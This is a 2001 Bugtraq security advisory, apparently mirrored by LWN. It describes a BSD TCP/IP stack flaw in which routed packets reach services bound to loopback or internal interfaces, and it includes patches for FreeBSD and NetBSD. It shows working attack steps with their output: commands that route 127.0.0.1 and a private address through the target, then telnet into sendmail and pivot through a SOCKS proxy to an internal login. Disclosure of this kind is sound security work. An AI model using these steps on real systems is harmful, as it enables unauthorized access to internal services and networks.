[LWN Logo]
[LWN.net]
Date:         Mon, 5 Mar 2001 19:44:43 +0000
From: Woody <woody@THEBUNKER.NET>
Subject:      Loopback and multi-homed routing flaw in TCP/IP stack.
To: BUGTRAQ@SECURITYFOCUS.COM

Subject: Loopback and multi-homed routing flaw in TCP/IP stack.
Author: Woody <woody@thebunker.net>

We believe there to be a serious security flaw in the TCP/IP stack of
several Unix-like operating systems. Whilst being "known" behavior on
technical mailing lists, we feel that the implications of this
"feature" are unexpected. Furthermore, not all platforms behave in the
same way, which will obviously lead to invalid expectations.

PLEASE NOTE: We have received a lot of replies to this advisory from
        developers who have missed the point. Before you reply, please
        read the advisory at least twice, to ensure you understand its
        implications, and scope.

The Issue:

There is a flaw in the TCP/IP stack, such that packets intended for
loopback and/or local network interfaces, routed via any other
interface, will be delivered EVEN IF THE MACHINE IS CONFIGURED NOT TO
BE A GATEWAY (note that in the case of packets destined for the
loopback interface, we consider this to be a fault no matter how the
host is configured - see RFC 1122 comments below). This means that
connections can be made to services that were intended to be invisible
by virtue of the fact that they were only listening on the "inside" of
a system. This may lead to further compromise of the host and/or
connected networks, either via (e.g.) buffer overflows or enhanced
privileges via access to SOCKS or other internal proxies.

Examples:

In these scenarios, the 213.129.64.x network represents the public
internet, and 172.16.x.x the private, internal network.

Server 213.129.64.1 runs sendmail bound only to loopback on port 25,
providing an outgoing smtp gateway for local programs. Attacker is on
213.129.64.2.

  213.129.64.2# route delete 127.0.0.1
  delete host 127.0.0.1
  213.129.64.2# route add 127.0.0.1 213.129.64.1
  add host 127.0.0.1 gateway 213.129.64.1
  213.129.64.2# telnet 127.0.0.1 25
  Trying 127.0.0.1...
  Connected to 127.0.0.1.
  Escape character is '^]'.
  220 eeek.woodyland.not ESMTP sendmail blah blah blah

Equally alarmingly, the same trick can be done for back end
networks. In this example, 213.129.64.1 runs a SOCKS server, bound
only to it's "internal network" on 172.16.1.1. A routed connection to
this service potentially allow full access to internal and other
network resources via SOCKSified clients.

  213.129.64.2# route add 172.16.1.1 213.129.64.1
  add host 172.16.1.1: gateway 213.129.64.1
  213.129.64.2# telnet 172.16.1.1 1080
  Trying 172.16.1.1...
  Connected to 172.16.1.1.
  Escape character is '^]'.

So for example, an internal server on 172.16.1.2 running telnetd can
now be connected to from 213.129.64.2:

   213.129.64.2# export SOCKS_SERVER=172.16.1.1
   213.129.64.2# rtelnet 172.16.1.2
   Trying 172.16.1.2...
   Connected to kerpow.woodyland.not
   Escape character is '^]'.

   02/02/01 22:25:32 on /dev/con1
   Last login: 02/02/01 21:22:54 on /dev/con1
   login:

At the moment, any machine which has either:

o       services running on the loopback interface

o       two or more external interfaces

must be configured, using a firewall, to drop IP packets arriving from
the wrong network in order to be secure. This is commonly not the
case.


Known Vulnerable Systems:

        FreeBSD - all releases to date.
        OpenBSD - all releases to date.
        NetBSD  - all releases to date.

Known Not Vulnerable:

        Linux - RH6.2 stock kernel

As a checkpoint, one COTS o/s was tested:

        Solaris 5.6, 5.7 - although a connection to remote services can
                           be established, a full two way session
                           cannot, so it is unlikely that Solaris is
                           truly vulnerable.
                           Further investigation is advised.

Discussion:

Restrictions to the behavior of loopback packets are defined in RFC 1122
section 3.2.1.3
                (g)  { 127, <any> }
                      Internal host loopback address.  Addresses of this
                      form MUST NOT appear outside a host.

Although this only constrains the output from the stack, in our opinion
the implementation of this section should be extended to control the
input as well, and this appears to be the consensus of the BSD groups.
NOTE: This advisory is not about RFC compliance, it is about expected
behavior.

*BSD groups were notified at the beginning of December 2000. Both
FreeBSD and OpenBSD realised the need to resolve this problem and have
endeavored to produce a patch. We understand that there are some things
in OpenBSD which rely on the fact that the loopback interface is not
routable, and as a result of this not being the case, remote holes may
be exposed.

The NetBSD group have made the following statement:

    This is not a new "discovery".  The "correct" behavior of
    multi-homed host stacks in this case has been the subject of
    substantial debate in the networking community. Changing this
    behavior has been discussed in the past, but involves many
    complications and cases. NetBSD strongly recommends that users
    running multi-homed hosts, where the interfaces are separated into
    different security domains, should use appropriate filters which
    include source address spoofing detection. NetBSD provides the
    ipfilter mechanism for this purpose, and have issued a patch for
    the loopback issue (below).

Rant:

quoting Obvious Security Inc. Bulletin #2600:

    Remember - "Just because it's right in your face, does
    not mean that it's obvious".

Fix:

FreeBSD:

Ben Laurie has written a patch for FreeBSD (tested on 3.x and 4.x). This
patch IS NOT COMPLETE by any means, but it does the job for simple
cases. Further modification is required to ensure all routing
scenarios behave correctly. Angelos Keromytis <angelos@keromytis.org>
has observed that this patch will not allow packets to be routed to
the remote interfaces themselves even if routing is enabled, and that
encapsulation protocols that use virtual interfaces will probably be
broken by it, however a patch that fixes these problems is not
currently available.

We recommend that ipfw is used instead of our patch in these
scenarios, pending a complete fix for FreeBSD.

The FreeBSD group have added some fixes to 4.2-current, and serious
users should follow their progress.


--- /usr/src/sys/netinet/ip_input.c.org Sun Dec 17 16:04:49 2000
+++ /usr/src/sys/netinet/ip_input.c     Mon Dec 18 16:46:14 2000
@@ -486,7 +486,9 @@

                                        ip_fw_fwd_addr->sin_addr.s_addr)
                        goto ours;
 #else
-               if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
+               if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr
+                   && (ia->ia_ifp == m->m_pkthdr.rcvif
+                       || m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK))
                        goto ours;
 #endif
                if (ia->ia_ifp && ia->ia_ifp->if_flags & IFF_BROADCAST)
{

OpenBSD:

The OpenBSD group are expected to publish a patch shortly.

NetBSD:

The following patch to sys/netinet/ip_input.c is now in
NetBSD-current.  This patch disables reception of external packets
with source or destination in the 127/8 network. NetBSD will advise
users when this change is incorporated into the release branches;
concerned users may apply the patch now.

*** ip_input.c  2001/03/01 16:31:39     1.128
--- ip_input.c  2001/03/02 02:05:36     1.129
***************
*** 416,421 ****
--- 416,428 ----
        if (IN_MULTICAST(ip->ip_src.s_addr)) {
                /* XXX stat */
                goto bad;
+       }
+
+       /* 127/8 must not appear on wire - RFC1122 */
+       if ((ntohl(ip->ip_dst.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET ||
+           (ntohl(ip->ip_src.s_addr) >> IN_CLASSA_NSHIFT) ==
IN_LOOPBACKNET) {
+               if ((m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK) == 0)
+                       goto bad;
        }

        if (in_cksum(m, hlen) != 0) {

Acknowledgments:

  Woody       <woody@thebunker.net>
  Adam Laurie <adam@algroup.co.uk>
  Ben Laurie  <ben@algroup.co.uk>
  Doug Lang   <doug@thebunker.net>
  http://www.thebunker.net